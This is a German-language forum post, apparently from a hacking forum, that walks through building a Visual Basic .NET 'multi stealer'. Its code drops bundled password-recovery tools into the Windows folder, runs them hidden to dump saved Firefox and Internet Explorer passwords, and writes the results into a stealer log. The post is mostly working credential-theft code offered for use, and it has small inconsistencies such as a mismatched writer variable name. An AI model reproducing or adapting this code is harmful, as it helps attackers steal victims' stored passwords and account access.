mhm..
ich machs immer mit textboxen und finde ist ne simple lösung..^^
Füg mal in die Form 2 textboxen ein (Multilinie = true)
dann die size von den 2 textboxen : 503; 528
nun noch zwei ressourcen. (z.b Passwordfox + IE Passview)
ok jetzt 3 subs (StealFF,StealIE,Stealer)
code:
Stealie:
Code:
Sub StealIE()
Dim ressource() As Byte = My.Resources.iepv
FileOpen(1, Environ("windir") & "\res.exe", OpenMode.Binary)
FilePut(1, ressource)
FileClose(1)
Shell(Environ("windir") & "\res.exe /stext " & Environ("windir") & "\IEPw.txt", AppWinStyle.Hide)
End Sub
StealFF:
Code:
Sub main4()
Dim ressource() As Byte = My.Resources.PasswordFox
FileOpen(1, Environ("windir") & "\res.exe", OpenMode.Binary)
FilePut(1, ressource)
FileClose(1)
Shell(Environ("windir") & "\res.exe /stext " & Environ("windir") & "\FFPw.txt", AppWinStyle.Hide)
End Sub
nun noch Stealer Sub:
Code:
Sub Stealer()
Dim leser = New StreamReader(Environ("windir") & "\IEPw.txt")
Dim leser2 = New StreamReader(Environ("windir") & "\FFPw.txt")
dim writer = new streamwriter (environ("windir") & "\Log.txt")
textbox1.text = leser.readtoend
leser.dispose
leser.close
textbox2.text = leser2.readtoend
leser2.dispose
leser2.close
Schreibe.WriteLine("Polat´s Multi Stealer Beta V0.1 Log - " & Environment.UserName)
Schreibe.WriteLine("")
Schreibe.WriteLine("Firefox Passwörter")
Schreibe.WriteLine("")
Schreibe.Flush()
Schreibe.Write(TextBox2.Text)
Schreibe.Flush()
Schreibe.WriteLine("")
Schreibe.Flush()
Schreibe.WriteLine("IE Passwörter")
Schreibe.WriteLine("")
Schreibe.Flush()
Schreibe.Write(TextBox1.Text)
Schreibe.Flush()